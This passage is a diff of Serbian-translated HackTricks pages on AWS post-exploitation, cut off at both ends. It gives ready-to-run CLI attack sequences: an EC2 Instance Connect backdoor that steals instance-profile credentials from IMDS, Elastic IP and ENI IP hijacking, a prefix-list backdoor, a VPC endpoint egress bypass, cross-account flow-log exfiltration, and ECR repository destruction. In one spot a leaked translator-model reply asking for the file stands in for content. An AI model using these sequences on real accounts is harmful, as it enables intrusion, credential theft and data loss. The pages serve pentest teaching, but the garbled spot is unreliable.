'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}' +``` +
+Pomoć: pronađite NVMe putanju uređaja po ID-u volumena + +Na Nitro instancama, koristite stabilnu by-id putanju koja sadrži ID volumena (uklonite crticu nakon `vol`): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +ls -l /dev/disk/by-id/ | grep "$VOLNOHYP" +# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX... +``` +
+ +## Impact +- Neposredan pristup za čitanje živih podataka na ciljnom EBS volumenu bez kreiranja snapshots. +- Ako je montiran u režimu čitanja i pisanja, napadač može manipulisati datotečnim sistemom žrtve (rizik od korupcije). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md new file mode 100644 index 000000000..686a13202 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md @@ -0,0 +1,113 @@ +# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection + +{{#include ../../../../banners/hacktricks-training.md}} + +Zloupotrebite EC2 Instance Connect Endpoint (EIC Endpoint) da dobijete dolazni SSH pristup privatnim EC2 instancama (bez javnog IP/bastion) tako što: +- Kreirate EIC Endpoint unutar ciljne subnet +- Dozvolite dolazni SSH na ciljni SG sa EIC Endpoint SG +- Ubrizgate kratkotrajan javni SSH ključ (važi ~60 sekundi) pomoću `ec2-instance-connect:SendSSHPublicKey` +- Otvorite EIC tunel i pivotirate na instancu da biste ukrali kredencijale instance profile-a iz IMDS + +Impact: prikriven put za daljinski pristup privatnim EC2 instancama koji zaobilazi bastione i ograničenja javnih IP-ova. Napadač može preuzeti instance profile i delovati u nalogu. + +## Zahtevi +- Dozvole za: +- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress` +- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel` +- Ciljna Linux instanca sa SSH serverom i EC2 Instance Connect omogućenim (Amazon Linux 2 ili Ubuntu 20.04+). Podrazumevani korisnici: `ec2-user` (AL2) ili `ubuntu` (Ubuntu). + +## Varijable +```bash +export REGION=us-east-1 +export INSTANCE_ID= +export SUBNET_ID= +export VPC_ID= +export TARGET_SG_ID= +export ENDPOINT_SG_ID= +# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu) +export OS_USER=ec2-user +``` +## Kreiraj EIC Endpoint +```bash +aws ec2 create-instance-connect-endpoint \ +--subnet-id "$SUBNET_ID" \ +--security-group-ids "$ENDPOINT_SG_ID" \ +--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \ +--region "$REGION" \ +--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID + +# Wait until ready +while true; do +aws ec2 describe-instance-connect-endpoints \ +--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \ +--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE +grep -q 'create-complete' EIC_STATE && break +sleep 5 +done +``` +## Dozvoli saobraćaj sa EIC Endpoint-a ka ciljnoj instanci +```bash +aws ec2 authorize-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true +``` +## Ubaci privremeni SSH ključ i otvori tunel +```bash +# Generate throwaway key +ssh-keygen -t ed25519 -f /tmp/eic -N '' + +# Send short-lived SSH pubkey (valid ~60s) +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "$OS_USER" \ +--ssh-public-key file:///tmp/eic.pub \ +--region "$REGION" + +# Open a local tunnel to instance:22 via the EIC Endpoint +aws ec2-instance-connect open-tunnel \ +--instance-id "$INSTANCE_ID" \ +--instance-connect-endpoint-id "$(cat EIC_ID)" \ +--local-port 2222 --remote-port 22 --region "$REGION" & +TUN_PID=$!; sleep 2 + +# SSH via the tunnel (within the 60s window) +ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no +``` +## Post-exploitation dokaz (steal instance profile credentials) +```bash +# From the shell inside the instance +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE) +``` +I don't have the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md. Please paste the markdown/html content you want translated (including tags/paths), and I will return the Serbian translation while preserving all markdown, links and tags exactly. +```json +{ +"Code": "Success", +"AccessKeyId": "ASIA...", +"SecretAccessKey": "w0G...", +"Token": "IQoJ...", +"Expiration": "2025-10-08T04:09:52Z" +} +``` +Koristite ukradene creds lokalno da potvrdite identitet: +```bash +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity --region "$REGION" +# => arn:aws:sts:::assumed-role// +``` +## Čišćenje +```bash +# Revoke SG ingress on the target +aws ec2 revoke-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true + +# Delete EIC Endpoint +aws ec2 delete-instance-connect-endpoint \ +--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION" +``` +> Napomene +> - Injektovani SSH ključ važi samo ~60 sekundi; pošaljite ključ odmah pre otvaranja tunela/SSH. +> - `OS_USER` mora odgovarati AMI-ju (npr. `ubuntu` za Ubuntu, `ec2-user` za Amazon Linux 2). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md new file mode 100644 index 000000000..06379c956 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md @@ -0,0 +1,52 @@ +# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Sažetak + +Zloupotrebite `ec2:AssociateAddress` (i opciono `ec2:DisassociateAddress`) da ponovo povežete Elastic IP (EIP) sa žrtvine instance/ENI na napadačevu instancu/ENI. Ovo preusmerava dolazni saobraćaj namenjen EIP-u ka napadaču i takođe omogućava napadaču da inicira odlazni saobraćaj sa allowlisted javnom IP adresom kako bi zaobišao external partner firewalls. + +## Preduslovi +- ID alokacije ciljnog EIP-a u istom nalogu/VPC. +- Napadačka instanca/ENI pod vašom kontrolom. +- Dozvole: +- `ec2:DescribeAddresses` +- `ec2:AssociateAddress` na EIP allocation-id i na napadačkoj instanci/ENI +- `ec2:DisassociateAddress` (opciono). Napomena: `--allow-reassociation` će automatski disassociate-ovati od prethodnog attachment-a. + +## Napad + +Promenljive +```bash +REGION=us-east-1 +ATTACKER_INSTANCE= +VICTIM_INSTANCE= +``` +1) Dodelite ili identifikujte EIP žrtve (laboratorija dodeljuje novi i prikači ga žrtvi) +```bash +ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text) +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION +EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text) +``` +2) Proverite da li se EIP trenutno usmerava na ciljni servis (npr. provere za banner) +```bash +curl -sS http://$EIP | grep -i victim +``` +3) Ponovo pridružite EIP napadaču (automatski se odspaja od žrtve) +```bash +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION +``` +4) Proverite da li EIP sada pokazuje na attacker service +```bash +sleep 5; curl -sS http://$EIP | grep -i attacker +``` +Dokazi (premeštena asocijacija): +```bash +aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \ +--query Addresses[0].AssociationId --output text +``` +## Uticaj +- Inbound impersonation: Sav saobraćaj ka otetom EIP-u se isporučuje na napadačevu instancu/ENI. +- Outbound impersonation: Napadač može inicirati saobraćaj koji izgleda kao da potiče od allowlisted javne IP adrese (korisno za zaobilaženje partner/spoljnih filtera po IP adresi izvora). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md new file mode 100644 index 000000000..b89f02970 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md @@ -0,0 +1,50 @@ +# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass) + +{{#include ../../../../banners/hacktricks-training.md}} + +Iskoristite `ec2:UnassignPrivateIpAddresses` i `ec2:AssignPrivateIpAddresses` da ukradete sekundarnu privatnu IP adresu žrtvinog ENI-ja i premestite je na ENI napadača u istoj subnet/AZ. Mnoge interne usluge i security groups ograničavaju pristup po specifičnim privatnim IP adresama. Premestivši tu sekundarnu adresu, napadač se predstavlja kao trusted host na L3 i može pristupiti allowlisted servisima. + +Preduslovi: +- Potrebne dozvole: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` na victim ENI ARN, i `ec2:AssignPrivateIpAddresses` na attacker ENI ARN. +- Oba ENI-ja moraju biti u istom subnetu/AZ. Ciljana adresa mora biti sekundarna IP (primary cannot be unassigned). + +Variables: +- REGION=us-east-1 +- VICTIM_ENI= +- ATTACKER_ENI= +- PROTECTED_SG= # SG na ciljnoj usluzi koja dozvoljava samo $HIJACK_IP +- PROTECTED_HOST= + +Koraci: +1) Izaberite sekundarnu IP adresu sa žrtvinog ENI-ja +```bash +aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP +export HIJACK_IP=$(cat HIJACK_IP) +``` +2) Osigurajte da zaštićeni host dozvoljava samo tu IP adresu (idempotentno). Ako umesto toga koristite SG-to-SG pravila, preskočite. +```bash +aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true +``` +3) Osnovna provera: from attacker instance, zahtev ka PROTECTED_HOST bi trebalo da ne uspe bez spoofed source (npr. preko SSM/SSH) +```bash +curl -sS --max-time 3 http://$PROTECTED_HOST || true +``` +4) Uklonite sekundarnu IP adresu sa victim ENI +```bash +aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +5) Dodeli istu IP adresu attacker ENI-ju (na AWS CLI v1 dodaj `--allow-reassignment`) +```bash +aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +6) Potvrdite da je vlasništvo prebačeno +```bash +aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP +``` +7) Sa attacker instance, source-bind to the hijacked IP da biste pristupili zaštićenom hostu (osigurajte da je IP konfigurisan na OS-u; ako nije, dodajte ga pomoću `ip addr add $HIJACK_IP/ dev eth0`) +```bash +curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out +``` +## Uticaj +- Zaobiđite liste dozvoljenih IP adresa i lažno se predstavite kao pouzdani hostovi unutar VPC premještanjem sekundarnih privatnih IP adresa između ENIs u istom subnet/AZ. +- Pristupite internim servisima koji ograničavaju pristup na osnovu specifičnih izvorišnih IP adresa, čime omogućavate lateralno kretanje i pristup podacima. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md new file mode 100644 index 000000000..4ff68ce58 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md @@ -0,0 +1,72 @@ +# AWS - Security Group Backdoor via Managed Prefix Lists + +{{#include ../../../../banners/hacktricks-training.md}} + +## Sažetak +Zloupotrebite customer-managed Prefix Lists da kreirate prikriveni put pristupa. Ako pravilo Security Group (SG) referencira managed Prefix List, svako ko ima mogućnost da izmeni tu listu može tiho dodati attacker-controlled CIDRs. Svaki SG (i potencijalno Network ACL ili VPC endpoint) koji referencira listu odmah dozvoljava nove opsege bez vidljive promene u SG-u. + +## Uticaj +- Instant proširenje dozvoljenih IP opsega za sve SG-ove koji referenciraju prefix listu, zaobilaženje kontrola promena koje nadgledaju samo izmene SG-a. +- Omogućava postojane ingress/egress backdoore: držite maliciozni CIDR sakriven u prefix listi dok pravilo SG izgleda nepromenjeno. + +## Zahtevi +- IAM permissions: +- `ec2:DescribeManagedPrefixLists` +- `ec2:GetManagedPrefixListEntries` +- `ec2:ModifyManagedPrefixList` +- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (to identify attached SGs) +- Optional: `ec2:CreateManagedPrefixList` if creating a new one for testing. +- Okruženje: najmanje jedno pravilo SG-a koje referencira ciljnu customer-managed Prefix List. + +## Varijable +```bash +REGION=us-east-1 +PREFIX_LIST_ID= +ENTRY_CIDR= +DESCRIPTION="Backdoor – allow attacker" +``` +## Koraci napada + +1) **Enumeriši kandidatske prefix lists i njihove korisnike** +```bash +aws ec2 describe-managed-prefix-lists \ +--region "$REGION" \ +--query 'PrefixLists[?OwnerId==``].[PrefixListId,PrefixListName,State,MaxEntries]' \ +--output table + +aws ec2 get-managed-prefix-list-entries \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--region "$REGION" \ +--query 'Entries[*].[Cidr,Description]' +``` +Koristite `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` da potvrdite koja SG pravila zavise od liste. + +2) **Dodajte CIDR napadača u prefix listu** +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \ +--region "$REGION" +``` +3) **Potvrdite propagaciju u security groups** +```bash +aws ec2 describe-security-group-rules \ +--region "$REGION" \ +--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \ +--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \ +--output table +``` +Saobraćaj sa `$ENTRY_CIDR` je sada dozvoljen svuda gde se referencira prefix list (obično u outbound pravilima na egress proxy-ima ili u inbound pravilima na deljenim servisima). + +## Dokazi +- `get-managed-prefix-list-entries` prikazuje CIDR napadača i opis. +- `describe-security-group-rules` i dalje prikazuje originalno SG pravilo koje referencira prefix listu (nije zabeležena izmena SG-a), ipak saobraćaj iz novog CIDR-a uspeva. + +## Čišćenje +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--remove-entries Cidr="$ENTRY_CIDR" \ +--region "$REGION" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md new file mode 100644 index 000000000..f5cb00fb4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md @@ -0,0 +1,68 @@ +# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints + +{{#include ../../../../banners/hacktricks-training.md}} + +## Sažetak + +Ova tehnika zloupotrebljava VPC Endpoints da kreira exfiltration kanale iz subneta koji nemaju Internet Gateways ili NAT. Gateway endpoints (npr. S3) dodaju prefix‑list rute u subnet route tables; Interface endpoints (npr. execute-api, secretsmanager, ssm, itd.) kreiraju dostupne ENIs sa private IPs zaštićenim security groups. Sa minimalnim VPC/EC2 dozvolama, napadač može omogućiti kontrolisani egress koji ne prolazi preko javnog Interneta. + +> Preduslovi: postojeći VPC i private subnets (bez IGW/NAT). Potrebne su dozvole za kreiranje VPC endpoints i, za Option B, security group za prikačenje na endpoint ENIs. + +## Opcija A – S3 Gateway VPC Endpoint + +**Varijable** +- `REGION=us-east-1` +- `VPC_ID=` +- `RTB_IDS=` + +1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`: +```json +{ +"Version": "2012-10-17", +"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ] +} +``` +2) Kreirajte S3 Gateway endpoint (dodaje S3 prefix‑list rutu u odabrane tabele ruta): +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.s3 \ +--vpc-endpoint-type Gateway \ +--route-table-ids $RTB_IDS \ +--policy-document file://allow-put-get-any-s3.json # optional +``` +Dokazi za prikupljanje: +- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` prikazuje rutu do AWS S3 prefix liste (npr., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`). +- Sa instance u tim podmrežama (sa IAM perms) možete exfil via S3 without Internet: +```bash +# On the isolated instance (e.g., via SSM): +echo data > /tmp/x.txt +aws s3 cp /tmp/x.txt s3:///egress-test/x.txt --region $REGION +``` +## Option B – Interface VPC Endpoint for API Gateway (execute-api) + +**Promenljive** +- `REGION=us-east-1` +- `VPC_ID=` +- `SUBNET_IDS=` +- `SG_VPCE=` + +1) Kreirajte interface endpoint i prikačite SG: +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.execute-api \ +--vpc-endpoint-type Interface \ +--subnet-ids $SUBNET_IDS \ +--security-group-ids $SG_VPCE \ +--private-dns-enabled +``` +Dokazi koje treba prikupiti: +- `aws ec2 describe-vpc-endpoints` prikazuje endpoint u stanju `available` sa `NetworkInterfaceIds` (ENIs u vašim podmrežama). +- Instance u tim podmrežama mogu da pristupe Private API Gateway endpoint-ima kroz te VPCE ENI-je (nije potreban Internet put). + +## Uticaj +- Zaobilazi perimeter egress kontrole koristeći AWS‑managed privatne puteve ka AWS servisima. +- Omogućava eksfiltraciju podataka iz izolovanih podmreža (npr. pisanje u S3; pozivanje Private API Gateway; pristup Secrets Manager/SSM/STS itd.) bez IGW/NAT. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md new file mode 100644 index 000000000..add1004f3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md @@ -0,0 +1,74 @@ +# AWS - VPC Flow Logs Cross-Account Exfiltration to S3 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Sažetak +Zloupotrebite `ec2:CreateFlowLogs` da izvezete VPC, subnet, ili ENI flow logs direktno u napadačev S3 bucket. Kada je delivery role konfigurisana da piše u eksterni bucket, svaka konekcija koja se vidi na nadgledanom resursu se strimuje iz naloga žrtve. + +## Zahtevi +- Principal žrtve: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, i `iam:PassRole` (ako je delivery role potreban/kreiran). +- Napadačev bucket: S3 politika koja veruje `delivery.logs.amazonaws.com` i dodeljuje `s3:PutObject` i `bucket-owner-full-control`. +- Opcionalno: `logs:DescribeLogGroups` ako se izvozi u CloudWatch umesto u S3 (nije potrebno ovde). + +## Koraci napada + +1) **Attacker** priprema S3 bucket politiku (u nalogu napadača) koja dozvoljava VPC Flow Logs delivery servisu da upisuje objekte. Zamenite placeholder-e pre primene: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowVPCFlowLogsDelivery", +"Effect": "Allow", +"Principal": { "Service": "delivery.logs.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::/flowlogs/*", +"Condition": { +"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" } +} +} +] +} +``` +Primeni sa naloga napadača: +```bash +aws s3api put-bucket-policy \ +--bucket \ +--policy file://flowlogs-policy.json +``` +2) **Victim** (compromised principal) kreira flow logs koji su usmereni ka attacker bucket: +```bash +REGION=us-east-1 +VPC_ID= +ROLE_ARN= # Must allow delivery.logs.amazonaws.com to assume it +aws ec2 create-flow-logs \ +--resource-type VPC \ +--resource-ids "$VPC_ID" \ +--traffic-type ALL \ +--log-destination-type s3 \ +--log-destination arn:aws:s3:::/flowlogs/ \ +--deliver-logs-permission-arn "$ROLE_ARN" \ +--region "$REGION" +``` +U roku od nekoliko minuta, flow log files se pojavljuju u attacker bucket i sadrže konekcije za sve ENIs u nadgledanom VPC/subnet. + +## Dokazi + +Primer flow log records zapisanih u attacker bucket: +```text +version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status +2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK +``` +Dokaz listanja Bucket-a: +```bash +aws s3 ls s3:///flowlogs/ --recursive --human-readable --summarize +``` +## Uticaj +- Kontinuirana exfiltration mrežnih metapodataka (IP adrese izvora/destinacije, portovi, protokoli) za nadgledani VPC/subnet/ENI. +- Omogućava analizu saobraćaja, identifikaciju osetljivih servisa i potencijalno hunting za security group misconfigurations izvan kompromitovanog naloga. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md deleted file mode 100644 index c6712105a..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ /dev/null @@ -1,92 +0,0 @@ -# AWS - ECR Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Za više informacija proverite - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Prijava, Preuzimanje & Postavljanje -```bash -# Docker login into ecr -## For public repo (always use us-east-1) -aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ -## For private repo -aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com -## If you need to acces an image from a repo if a different account, in set the account number of the other account - -# Download -docker pull .dkr.ecr..amazonaws.com/:latest -## If you still have the error "Requested image not found" -## It might be because the tag "latest" doesn't exit -## Get valid tags with: -TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') -curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list - -# Inspect the image -docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 - -# Upload (example uploading purplepanda with tag latest) -docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest -docker push .dkr.ecr..amazonaws.com/purplepanda:latest - -# Downloading without Docker -# List digests -aws ecr batch-get-image --repository-name level2 \ ---registry-id 653711331788 \ ---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' - -## Download a digest -aws ecr get-download-url-for-layer \ ---repository-name level2 \ ---registry-id 653711331788 \ ---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" -``` -Nakon preuzimanja slika, trebali biste **proveriti ih na osetljive informacije**: - -{{#ref}} -https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html -{{#endref}} - -### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` - -Napadač sa bilo kojim od ovih dozvola može **kreirati ili izmeniti politiku životnog ciklusa da obriše sve slike u repozitorijumu** i zatim **obrisati ceo ECR repozitorijum**. To bi rezultiralo gubitkom svih kontejnerskih slika koje se čuvaju u repozitorijumu. -```bash -bashCopy code# Create a JSON file with the malicious lifecycle policy -echo '{ -"rules": [ -{ -"rulePriority": 1, -"description": "Delete all images", -"selection": { -"tagStatus": "any", -"countType": "imageCountMoreThan", -"countNumber": 0 -}, -"action": { -"type": "expire" -} -} -] -}' > malicious_policy.json - -# Apply the malicious lifecycle policy to the ECR repository -aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json - -# Delete the ECR repository -aws ecr delete-repository --repository-name your-ecr-repo-name --force - -# Delete the ECR public repository -aws ecr-public delete-repository --repository-name your-ecr-repo-name --force - -# Delete multiple images from the ECR repository -aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 - -# Delete multiple images from the ECR public repository -aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md new file mode 100644 index 000000000..c53a9170b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -0,0 +1,210 @@ +# AWS - ECR Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Za više informacija pogledajte + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Login, Pull & Push +```bash +# Docker login into ecr +## For public repo (always use us-east-1) +aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ +## For private repo +aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com +## If you need to acces an image from a repo if a different account, in set the account number of the other account + +# Download +docker pull .dkr.ecr..amazonaws.com/:latest +## If you still have the error "Requested image not found" +## It might be because the tag "latest" doesn't exit +## Get valid tags with: +TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') +curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list + +# Inspect the image +docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 +docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL + +# Upload (example uploading purplepanda with tag latest) +docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest +docker push .dkr.ecr..amazonaws.com/purplepanda:latest + +# Downloading without Docker +# List digests +aws ecr batch-get-image --repository-name level2 \ +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' + +## Download a digest +aws ecr get-download-url-for-layer \ +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +``` +Nakon preuzimanja images treba da ih **proverite zbog osetljivih informacija**: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` + +Napadač sa bilo kojom od ovih dozvola može **kreirati ili izmeniti lifecycle policy kako bi obrisao sve images u repository-ju**, a zatim **izbrisati ceo ECR repository**. To bi rezultiralo gubitkom svih container images smeštenih u repository-ju. +```bash +# Create a JSON file with the malicious lifecycle policy +echo '{ +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { 